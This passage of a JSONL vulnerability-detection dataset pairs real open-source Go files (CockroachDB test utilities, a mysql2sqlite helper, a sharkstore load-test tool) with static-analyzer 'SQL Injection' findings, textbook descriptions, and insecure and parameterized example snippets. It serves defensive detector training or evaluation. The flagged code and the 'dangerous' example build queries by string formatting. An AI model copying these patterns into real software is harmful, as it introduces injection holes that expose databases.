"eventType": "sink", "messageKey": "gochk.WEAK_ENCRYPTION.INSUFFICIENT_KEY_SIZE.GO.defect", "params": {}}]}} {"id": "29492dc5e99c15eeb43ced3f989a37713e73e99864caf8535902f606746b93da", "license": {"spdx": ["MIT", "BSD-3-Clause"], "repo": "cargillb/cockroach", "path": "pkg/cmd/roachtest/tpc_utils.go", "repo_head_hexsha": "c260786553e54bb596395fd5b12075c614d8c577", "stack_hexsha": "259427bf8567cc9bc934767b30f4834467e152b3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 83, "entireCode": "// Copyright 2020 The Cockroach Authors.\n//\n// Use of this software is governed by the Business Source License\n// included in the file licenses/BSL.txt.\n//\n// As of the Change Date specified in that file, in accordance with\n// the Business Source License, use of this software will be governed\n// by the Apache License, Version 2.0, included in the file\n// licenses/APL.txt.\n\npackage main\n\nimport (\n\t\"context\"\n\tgosql \"database/sql\"\n\t\"fmt\"\n\n\t\"github.com/cockroachdb/cockroach/pkg/sql/pgwire/pgcode\"\n\t\"github.com/cockroachdb/errors\"\n\t\"github.com/lib/pq\"\n)\n\n// loadTPCHDataset loads a TPC-H dataset for the specific benchmark spec on the\n// provided roachNodes. The function is idempotent and first checks whether a\n// compatible dataset exists (compatible is defined as a tpch dataset with a\n// scale factor at least as large as the provided scale factor), performing an\n// expensive dataset restore only if it doesn't.\nfunc loadTPCHDataset(\n\tctx context.Context, t *test, c *cluster, sf int, m *monitor, roachNodes nodeListOption,\n) error {\n\tdb := c.Conn(ctx, roachNodes[0])\n\tdefer db.Close()\n\n\tif _, err := db.ExecContext(ctx, `USE tpch`); err == nil {\n\t\tt.l.Printf(\"found existing tpch dataset, verifying scale factor\\n\")\n\n\t\tvar supplierCardinality int\n\t\tif err := db.QueryRowContext(\n\t\t\tctx, `SELECT count(*) FROM tpch.supplier`,\n\t\t).Scan(&supplierCardinality); err != nil {\n\t\t\tif pqErr := (*pq.Error)(nil); !(errors.As(err, &pqErr) && pqErr.Code == pgcode.UndefinedTable) {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t// Table does not exist. Set cardinality to 0.\n\t\t\tsupplierCardinality = 0\n\t\t}\n\n\t\t// Check if a tpch database with the required scale factor exists.\n\t\t// 10000 is the number of rows in the supplier table at scale factor 1.\n\t\t// supplier is the smallest table whose cardinality scales with the scale\n\t\t// factor.\n\t\texpectedSupplierCardinality := 10000 * sf\n\t\tif supplierCardinality >= expectedSupplierCardinality {\n\t\t\tt.l.Printf(\"dataset is at least of scale factor %d, continuing\", sf)\n\t\t\treturn nil\n\t\t}\n\n\t\t// If the scale factor was smaller than the required scale factor, wipe the\n\t\t// cluster and restore.\n\t\tm.ExpectDeaths(int32(c.spec.NodeCount))\n\t\tc.Wipe(ctx, roachNodes)\n\t\tc.Start(ctx, t, roachNodes)\n\t\tm.ResetDeaths()\n\t} else if pqErr := (*pq.Error)(nil); !(errors.As(err, &pqErr) &&\n\t\tstring(pqErr.Code) == pgcode.InvalidCatalogName) {\n\t\treturn err\n\t}\n\n\tt.l.Printf(\"restoring tpch scale factor %d\\n\", sf)\n\ttpchURL := fmt.Sprintf(\"gs://cockroach-fixtures/workload/tpch/scalefactor=%d/backup\", sf)\n\tquery := fmt.Sprintf(`CREATE DATABASE IF NOT EXISTS tpch; RESTORE tpch.* FROM '%s' WITH into_db = 'tpch';`, tpchURL)\n\t_, err := db.ExecContext(ctx, query)\n\treturn err\n}\n\n// scatterTables runs \"ALTER TABLE ... SCATTER\" statement for every table in\n// tableNames. It assumes that conn is already using the target database. If an\n// error is encountered, the test is failed.\nfunc scatterTables(t *test, conn *gosql.DB, tableNames []string) {\n\tt.Status(\"scattering the data\")\n\tfor _, table := range tableNames {\n\t\tscatter := fmt.Sprintf(\"ALTER TABLE %s SCATTER;\", table)\n\t\tif _, err := conn.Exec(scatter); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n}\n\n// disableAutoStats disables automatic collection of statistics on the cluster.\nfunc disableAutoStats(t *test, conn *gosql.DB) {\n\tt.Status(\"disabling automatic collection of stats\")\n\tif _, err := conn.Exec(\n\t\t`SET CLUSTER SETTING sql.stats.automatic_collection.enabled=false;`,\n\t); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\n// createStatsFromTables runs \"CREATE STATISTICS\" statement for every table in\n// tableNames. It assumes that conn is already using the target database. If an\n// error is encountered, the test is failed.\nfunc createStatsFromTables(t *test, conn *gosql.DB, tableNames []string) {\n\tt.Status(\"collecting stats\")\n\tfor _, tableName := range tableNames {\n\t\tt.Status(fmt.Sprintf(\"creating statistics from table %q\", tableName))\n\t\tif _, err := conn.Exec(\n\t\t\tfmt.Sprintf(`CREATE STATISTICS %s FROM %s;`, tableName, tableName),\n\t\t); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 83, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "1eb9e3de96743ffd7b41843bb3919ebf6a0e3299060863b50e20f8070b0b6441", "license": {"spdx": ["MIT"], "repo": "atc0005/mysql2sqlite", "path": "internal/dbqs/dbqs.go", "repo_head_hexsha": "4df60c535c70bee9c88027530a59c441d1431edc", "stack_hexsha": "45b893d520446056beb26a76c9ce3619fb7b6146", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 119, "entireCode": "// Copyright 2020 \n//\n// https://github.com/atc0005/mysql2sqlite\n//\n// Licensed under the MIT License. See LICENSE file in the project root for\n// full license information.\n\npackage dbqs\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/apex/log\"\n\t\"github.com/atc0005/mysql2sqlite/internal/caller\"\n)\n\n// SQLQueries is a map of maps representing a collection of tables and the\n// queries used to read from a source database and write to a SQLite database.\n// Example: queries[\"virtual_domains\"][\"read\"] = \"SELECT * FROM virtual_domains\"\ntype SQLQueries map[string]map[string]string\n\n// SQLQuerySet is a map of query type to query. Each entry is used to read\n// from a source database table, create, write to or update indexes for a new\n// database table in the generated SQLite database.\ntype SQLQuerySet map[string]string\n\n// Queries used to retrieve data from MySQL database and manage local SQLite\n// database\nconst (\n\tSQLQueriesRead string = \"read\"\n\tSQLQueriesNew string = \"new\"\n\tSQLQueriesWrite string = \"write\"\n\tSQLQueriesIndex string = \"index\"\n)\n\n// var ErrStmtClose error = errors.New(\"failed to close statement\")\n// var ErrTableCount error = errors.New(\"failed to retrieve row count for table\")\n\n// VerifyDBConn is used to verify connectivity to a specified database. If the\n// initial verification fails, a specified number of further attempts are made\n// before an error is returned to signal that a database connection is\n// unavailable.\nfunc VerifyDBConn(ctx context.Context, db *sql.DB, retries int, retryDelay time.Duration, timeout time.Duration) error {\n\n\tmyFuncName := caller.GetFuncName()\n\n\t// TODO: Expose timeout as a config setting\n\tctx, cancel := context.WithTimeout(ctx, timeout)\n\tdefer cancel()\n\n\tvar result error\n\n\t// initial attempt + number of specified retries\n\tattemptsAllowed := 1 + retries\n\n\tfor attempt := 1; attempt <= attemptsAllowed; attempt++ {\n\t\t// the result from the last attempt is returned to the caller\n\t\tresult = db.PingContext(ctx)\n\n\t\tswitch {\n\t\tcase result == nil:\n\n\t\t\tlog.Debugf(\n\t\t\t\t\"Successfully confirmed database connection after %d of %d attempts\",\n\t\t\t\tattempt,\n\t\t\t\tattemptsAllowed,\n\t\t\t)\n\n\t\t\t// No further retries needed\n\t\t\treturn nil\n\n\t\t// Check context explicitly in order to return as soon as possible\n\t\tcase ctx.Err() != nil && result != nil:\n\n\t\t\terrMsg := fmt.Errorf(\n\t\t\t\t\"%s: context cancelled or expired: %v; \"+\n\t\t\t\t\t\"aborting database connection verification after %d of %d attempts: %w\",\n\t\t\t\tmyFuncName,\n\t\t\t\tctx.Err().Error(),\n\t\t\t\tattempt,\n\t\t\t\tattemptsAllowed,\n\t\t\t\tresult,\n\t\t\t)\n\t\t\treturn errMsg\n\n\t\tcase result != nil:\n\n\t\t\tlog.Warnf(\n\t\t\t\t\"%s: attempt %d of %d to verify database connection failed: %v\",\n\t\t\t\tmyFuncName,\n\t\t\t\tattempt,\n\t\t\t\tattemptsAllowed,\n\t\t\t\tresult,\n\t\t\t)\n\n\t\t\tlog.Infof(\n\t\t\t\t\"%s: applying retry delay of %v\",\n\t\t\t\tmyFuncName,\n\t\t\t\tretryDelay,\n\t\t\t)\n\t\t\ttime.Sleep(retryDelay)\n\n\t\t}\n\n\t}\n\n\treturn result\n\n}\n\n// RowsCount returns the number of rows for a specified table.\nfunc RowsCount(db *sql.DB, table string) (int, error) {\n\tvar rowsCount int\n\trcQuery := fmt.Sprintf(\"SELECT COUNT(*) as count FROM %s\", table)\n\tlog.Debugf(\"About to fetch row count for %s\", table)\n\tif err := db.QueryRow(rcQuery).Scan(&rowsCount); err != nil {\n\t\treturn -1, fmt.Errorf(\n\t\t\t\"failed to retrieve row count for table %s: %w\",\n\t\t\ttable,\n\t\t\terr,\n\t\t)\n\t}\n\n\treturn rowsCount, nil\n}\n\n// PrepareSQLiteDB prepares a SQLite database for incoming data from the\n// source database. As of the current version, this includes dropping tables\n// and recreating them along with optional indexes, if enabled.\nfunc PrepareSQLiteDB(tx *sql.Tx, querySet SQLQuerySet, table string, createIndexes bool) error {\n\t// Recreate SQLite database tables.\n\t//\n\t// TODO: Research syncing tables instead of recreating each time\n\n\t// FIXME: What is a better way to drop the table programatically?\n\tdropTableStmt := fmt.Sprintf(\"DROP TABLE IF EXISTS %s\", table)\n\tif _, err := tx.Exec(dropTableStmt); err != nil {\n\t\tlog.Errorf(\n\t\t\t\"failed to run query to drop (potentially) preexisting table %s: %v\",\n\t\t\ttable,\n\t\t\terr,\n\t\t)\n\t\treturn err\n\t}\n\tlog.Debugf(\"Successfully ran DROP TABLE query for table %s\", table)\n\n\tdropIndexStmt := fmt.Sprintf(\"DROP INDEX IF EXISTS %s\", table)\n\tif _, err := tx.Exec(dropIndexStmt); err != nil {\n\t\tlog.Errorf(\n\t\t\t\"failed to run query to drop (potentially) preexisting index for table %s: %v\",\n\t\t\ttable,\n\t\t\terr,\n\t\t)\n\t\treturn err\n\t}\n\tlog.Debugf(\"Successfully ran DROP INDEX query for table %s\", table)\n\n\tif _, err := tx.Exec(querySet[SQLQueriesNew]); err != nil {\n\t\tlog.Errorf(\n\t\t\t\"failed to run query to create table %s: %v\",\n\t\t\ttable,\n\t\t\terr,\n\t\t)\n\t\treturn err\n\t}\n\tlog.Debugf(\"Created table %s in SQLite database\", table)\n\n\t// Q: does this cause an error?\n\t// A: no, attempting to retrieve a key *not* in a map returns a zero\n\t// value, in this case an empty string value. Executing an empty\n\t// string/query appears to be \"valid\", which gives unexpected results.\n\t// Our validation method will have to catch problems like this one.\n\t//\n\t// if _, err := sqliteDB.Exec(\"\"); err != nil {\n\t// \tlog.Errorf(\n\t// \t\t\"failed to run empty exec query for table %s\",\n\t// \t\ttable,\n\t// \t\terr,\n\t// \t)\n\t//\treturn\n\t// }\n\n\tif createIndexes {\n\t\tif _, err := tx.Exec(querySet[SQLQueriesIndex]); err != nil {\n\n\t\t\tlog.Errorf(\n\t\t\t\t\"failed to run query to create index for table %s: %v\",\n\t\t\t\ttable,\n\t\t\t\terr,\n\t\t\t)\n\t\t\treturn err\n\t\t}\n\t\tlog.Debugf(\"Created index for table %s in SQLite database\", table)\n\t}\n\n\tlog.Debug(\"SQLite database is ready\")\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 119, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "86cb4384ae7bb55972143c9be9471510f15aa079db187fa40f428a50947bf74e", "license": {"spdx": ["Apache-2.0"], "repo": "apaqi/sharkstore", "path": "tool/boom/boomer/boomer.go", "repo_head_hexsha": "88e0e0f29c8c170b6021dd0743560a94b9fc8b6a", "stack_hexsha": "edf6c93792effd430df1e70c1f53e46f44ba3bd2", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 189, "entireCode": "// Copyright 2014 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package boomer provides commands to run load tests and display results.\npackage boomer\n\nimport (\n\t\"os\"\n\t\"os/signal\"\n\t\"sync\"\n\t\"time\"\n\t\"errors\"\n\n\t\"database/sql\"\n\t_ \"github.com/go-sql-driver/mysql\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"sync/atomic\"\n\t\"hash/fnv\"\n\t\"golang.org/x/net/context\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"master-server/http_reply\"\n\t\"model/pkg/metapb\"\n\t\"reflect\"\n\t\"encoding/json\"\n)\n\ntype result struct {\n\terr error\n\tstatusCode int\n\tduration time.Duration\n\tcontentLength int64\n}\n\ntype Boomer struct {\n\tRangeNumber uint64\n\tMultiNumber uint64\n\t// N is the total number of requests to make.\n\tN int\n\n\t// C is the concurrency level, the number of concurrent workers to run.\n\tC int\n\n\t//\n\tUser string\n\tPassword string\n\tHost string\n\tDatabase string\n\tTable string\n\tProtocol string\n\n\t// Qps is the rate limit.\n\tQps int\n\n\tDLen int\n\n\t// Output represents the output type. If \"csv\" is provided, the\n\t// output will be dumped as a csv stream.\n\tOutput string\n\n\tTimes int\n\n\t// 1: random insert\n\t// 2: order insert\n\t// 3: random select\n\t// 4: single select\n\tMode int\n\n\t// only for order insert and order select\n\tBase int\n\n\tmethod string\n\n\tresults chan *result\n\n\tlastCount int64\n\n\tpreCount int64\n\t//records chan *record // verify area\n\tVerify bool\n\tStepVerify bool\n\tDeletePeerVerify uint64\n\tClusterId uint64\n\tClusterToken string\n\tMasterAddr string\n}\n\nfunc hash(s string) uint32 {\n h := fnv.New32a()\n h.Write([]byte(s))\n return h.Sum32()\n}\n\nfunc (b *Boomer) run(base int) {\n\terr := b.prepare(base)\n\tif err != nil {\n\t\treturn\n\t}\n\tstart := time.Now()\n\tb.runWorkers(base)\n\tnewReport(b.method, b.results, b.Output, time.Now().Sub(start)).finalize()\n}\n\n// Run makes all the requests, prints the summary. It blocks until\n// all work is done.\nfunc (b *Boomer) Run() {\n\tswitch b.Mode {\n\tcase 1:\n\t\tb.method = \"INSERT\"\n\tcase 2:\n\t\tb.method = \"INSERT\"\n\tcase 3:\n\t\tb.method = \"SELECT\"\n\tcase 4:\n\t\tb.method = \"SELECT\"\n\tcase 5:\n\t\tb.method = \"SELECT\"\n\tcase 6:\n\t\tb.method = \"INSERT\"\n\tcase 7:\n\t\tb.method = \"SELECT\"\n\tcase 8:\n\t\tb.method = \"INSERT\"\n\t}\n\t//b.records = make(chan *record, b.N)\n\tb.results = make(chan *result, b.N)\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, os.Interrupt)\n\tstart := time.Now()\n\tgo func() {\n\t\t<-c\n\t\t// TODO(jbd): Progress bar should not be finalized.\n\t\tnewReport(b.method, b.results, b.Output, time.Now().Sub(start)).finalize()\n\t\tfmt.Printf(\"\\n\\n\")\n\t\tos.Exit(1)\n\t}()\n\n\n\tgo func(){\n\t\tdefer func(){\n\t\t\t\tfmt.Println(\"cal err \")\n\t\t\t\tif err := recover() ;err != nil {\n\t\t\t\t\tfmt.Println(err)\n\t\t\t\t}\n\t\t\t}()\n\t\tticker := time.Tick(1 * time.Second)\n\t\n\t\tpreTime := time.Now().UnixNano()\n\t\tfor now := range ticker {\n\t\t\ttotal := atomic.LoadInt64(&b.lastCount)\n\t\t\tfmt.Printf(\"total:%d,ops:%d \\n\",total,(total - b.preCount) * 1000*1000*1000 / (now.UnixNano() - preTime))\n\t\t\tb.preCount = total\n\t\t\tpreTime = now.UnixNano()\n\t\t}\n\t}()\n\n\tfor i := 0; i < b.Times; i++ {\n\t b.run(i)\n\t fmt.Printf(\"\\n\\n\")\n\t time.Sleep(time.Second)\n\t}\n\tclose(b.results)\n}\n\nfunc (b *Boomer) makeRandomInsert(db *sql.DB) {\n\tuser := fmt.Sprintf(\"%s_%d\", randomString(10), time.Now().UnixNano())\n\tpassword := fmt.Sprintf(\"%\", randomString(10), time.Now().UnixNano())\n\treal := fmt.Sprintf(\"%s_%d\", randomString(b.DLen), time.Now().UnixNano())\n\tSQL := fmt.Sprintf(`INSERT INTO %s(user_name, pass_word, real_name) VALUES(\"%s\",\"%s\",\"%s\")`, b.Table, user, password, real)\n\t//id := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//name := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//SQL := fmt.Sprintf(`INSERT INTO %s(id, name) VALUES(\"%s\",\"%s\")`, b.Table, id, name)\n\ts := time.Now()\n\tvar size int64\n\tvar code int\n\n\t_, err := db.Exec(SQL)\n\tif err != nil {\n\t\tcode = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\tb.results <- &result{\n\t\tstatusCode: code,\n\t\tduration: time.Now().Sub(s),\n\t\terr: err,\n\t\tcontentLength: size,\n\t}\n}\n\nfunc (b *Boomer) makeHashMultiInsert(db *sql.DB,suffix string) error {\n\tcurTime := time.Now().UnixNano()\n\tuser := suffix\n\th := hash(user)%(uint32(2+b.RangeNumber))\n\tsqlValues := make([]string, b.MultiNumber)\n\tfor i := uint64(0); i < b.MultiNumber; i++ {\n\t\tkeytp := fmt.Sprintf(\"%s_%d\", randomString(10), curTime)\n\t\thost := fmt.Sprintf(\"%s_%d\", randomString(b.DLen), curTime)\n\t\ttimestamptp := time.Now().Unix()\n\t\tsqlValues[i] = fmt.Sprintf(`%d,\"%s\",\"%s\",%d,%d,%d,%d,%d,%d,%d,%f,%d`, h, keytp, host, timestamptp, 0,0,0,0,0,0,1.0,0)\n\t}\n\tvar sql string\n\tfor i := uint64(0); i < b.MultiNumber; i++ {\n\t\tsql = sql+sqlValues[i]+\",\"\n\t}\n\tsql = sql[:len(sql)-1]\n\t//fmt.Println(\"debug: sql value: \", sql)\n\n\tSQL := fmt.Sprintf(`INSERT INTO %s(h,keytp,host,timestamptp,tp90,tp99,tp999,avgtp,mintp,maxtp,succrate,calls) VALUES(%s)`, b.Table, sql)\n\tfmt.Println(\"SQL: \", SQL)\n\t_, err := db.Exec(SQL)\n\tif err != nil {\n\t\t//code = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\treturn err\n}\n\nfunc (b *Boomer) makeHashInsert(db *sql.DB,suffix string) error {\n\tcurTime := time.Now().UnixNano()\n\tuser := suffix\n\th := hash(user)%16384\n\tpassword := fmt.Sprintf(\"%\", randomString(10), curTime)\n\treal := fmt.Sprintf(\"%s_%d\", randomString(b.DLen), curTime)\n\tSQL := fmt.Sprintf(`INSERT INTO %s(h,user_name, pass_word, real_name) VALUES(%d,\"%s\",\"%s\",\"%s\")`, b.Table,h, user, password, real)\n\t//id := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//name := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//SQL := fmt.Sprintf(`INSERT INTO %s(id, name) VALUES(\"%s\",\"%s\")`, b.Table, id, name)\n\t//s := time.Now()\n\t//var size int64\n\t//var code int\n\n\t_, err := db.Exec(SQL)\n\tif err != nil {\n\t\t//code = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\t//b.results <- &result{\n\t//\tstatusCode: code,\n\t//\tduration: time.Now().Sub(s),\n\t//\terr: err,\n\t//\tcontentLength: size,\n\t//}\n\treturn err\n}\n\nfunc (b *Boomer) makeOrderInsert(db *sql.DB, suffix string) {\n\tuser := fmt.Sprintf(\"user_%s\", suffix)\n\tpassword := fmt.Sprintf(\"\", suffix)\n\treal := fmt.Sprintf(\"real_%s_%s\", randomString(b.DLen),suffix)\n\tSQL := fmt.Sprintf(`INSERT INTO %s(user_name, pass_word, real_name) VALUES(\"%s\",\"%s\",\"%s\")`, b.Table, user, password, real)\n\t//id := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//name := fmt.Sprintf(\"%s_%d\", randomString(8), time.Now().UnixNano())\n\t//SQL := fmt.Sprintf(`INSERT INTO %s(id, name) VALUES(\"%s\",\"%s\")`, b.Table, id, name)\n\ts := time.Now()\n\tvar size int64\n\tvar code int\n\n\t_, err := db.Exec(SQL)\n\tif err != nil {\n\t\tcode = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\tb.results <- &result{\n\t\tstatusCode: code,\n\t\tduration: time.Now().Sub(s),\n\t\terr: err,\n\t\tcontentLength: size,\n\t}\n}\n\nfunc (b *Boomer) makeOrderSelect(db *sql.DB, suffix string) {\n\tuser := fmt.Sprintf(\"user_%s\", suffix)\n\tSQL := fmt.Sprintf(`SELECT user_name, pass_word, real_name FROM %s WHERE user_name=\"%s\"`, b.Table, user)\n\ts := time.Now()\n\tvar size int64\n\tvar code int\n\n\tvar user_name, pass_word, real_name string\n\terr := db.QueryRow(SQL).Scan(&user_name, &pass_word, &real_name)\n\tif err != nil {\n\t\tcode = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\tb.results <- &result{\n\t\tstatusCode: code,\n\t\tduration: time.Now().Sub(s),\n\t\terr: err,\n\t\tcontentLength: size,\n\t}\n}\n\nfunc (b *Boomer) makeSignalSelect (db *sql.DB) {\n\tuser := \"user_1\"\n\tSQL := fmt.Sprintf(`SELECT user_name, pass_word, real_name FROM %s WHERE user_name=\"%s\"`, b.Table, user)\n\n\ts := time.Now()\n\tvar size int64\n\tvar code int\n\n\tvar user_name, pass_word, real_name string\n\terr := db.QueryRow(SQL).Scan(&user_name, &pass_word, &real_name)\n\tif err != nil {\n\t\tcode = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\tb.results <- &result{\n\t\tstatusCode: code,\n\t\tduration: time.Now().Sub(s),\n\t\terr: err,\n\t\tcontentLength: size,\n\t}\n}\n\nfunc (b *Boomer) makeRandomSelect(db *sql.DB, suffix string) {\n\tuser := fmt.Sprintf(\"user_%s\", suffix)\n\tSQL := fmt.Sprintf(`SELECT user_name, pass_word, real_name FROM %s WHERE user_name=\"%s\"`, b.Table, user)\n\ts := time.Now()\n\tvar size int64\n\tvar code int\n\n\tvar user_name, pass_word, real_name string\n\terr := db.QueryRow(SQL).Scan(&user_name, &pass_word, &real_name)\n\tif err != nil {\n\t\tcode = -1\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\tb.results <- &result{\n\t\tstatusCode: code,\n\t\tduration: time.Now().Sub(s),\n\t\terr: err,\n\t\tcontentLength: size,\n\t}\n}\n\nfunc (b *Boomer) makeHashSelect(db *sql.DB, suffix string) error {\n\tuser := suffix\n\th := hash(user)%16384\n\tSQL := fmt.Sprintf(`SELECT user_name, pass_word, real_name FROM %s WHERE h=%d and user_name=\"%s\"`, b.Table,h, user)\n\t//s := time.Now()\n\t//var size int64\n\t//var code int\n\n\tvar user_name, pass_word, real_name string\n\terr := db.QueryRow(SQL).Scan(&user_name, &pass_word, &real_name)\n\tif err != nil {\n\t\t//code = -1\n\t}else if len(user_name) <= 0 {\n\t\t//code = -1\n\t\terr = errors.New(\"user_name is empty\")\n\t}\n\tatomic.AddInt64(&b.lastCount,1)\n\t//b.results <- &result{\n\t//\tstatusCode: code,\n\t//\tduration: time.Now().Sub(s),\n\t//\terr: err,\n\t//\tcontentLength: size,\n\t//}\n\treturn err\n}\n\nfunc (b *Boomer) verifyWrite(db *sql.DB,suffix string, i int) {\n\tfor { // write until ok\n\t\tif err := b.makeHashInsert(db,suffix); err != nil {\n\t\t\tfmt.Printf(\"verify insert line %v suffix %v error: %v\\n\", i, suffix, err)\n\t\t} else {\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (b *Boomer) verifyRead(db *sql.DB,suffix string, i int, logPoint string) {\n\tfor { // write read ok\n\t\tif err := b.makeHashSelect(db,suffix); err != nil {\n\t\t\tfmt.Printf(\"verify select line %v suffix %v error(%v): %v\\n\", i, suffix, logPoint, err)\n\t\t} else {\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (b *Boomer) getRouteCommand(cli *http.Client, args url.Values) *http_reply.RangeLocateResponse {\n\turl := fmt.Sprintf(\"http://%v/range/locate?%v\", b.MasterAddr, args.Encode())\n\treply, err := httpGetCommand(cli, url)\n\tif err != nil {\n\t\tfmt.Println(\"master command peer delete error: \", err)\n\t\treturn nil\n\t}\n\tfmt.Println(\"get route reply: \", reply)\n\tif reply == nil {\n\t\treturn nil\n\t}\n\trepStr, ok := reply.(string)\n\tif !ok {\n\t\tfmt.Println(\"reply type is: \", reflect.TypeOf(reply))\n\t\treturn nil\n\t}\n\trep := new(http_reply.RangeLocateResponse)\n\tif err := json.Unmarshal([]byte(repStr), rep); err != nil {\n\t\tfmt.Println(\"reply unmarshal error: \", err)\n\t\treturn nil\n\t}\n\treturn rep\n}\n\nfunc (b *Boomer) delPeerCommand(cli *http.Client, args url.Values) string {\n\turl := fmt.Sprintf(\"http://%v/peer/delete_force?%v\", b.MasterAddr, args.Encode())\n\treply, err := httpGetCommand(cli, url)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\tif reply != nil {\n\t\t// type assert, return\n\t}\n\n\treturn \"\"\n}\n\nfunc httpGetCommand(cli *http.Client, cmd string) (interface{}, error) {\n\tresp, err := cli.Get(cmd)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"http getcommand %v error: http get: %v\", cmd, err)\n\t}\n\tdefer resp.Body.Close()\n\n\treply, err := http_reply.GetResponse(resp)\n\tif err != nil 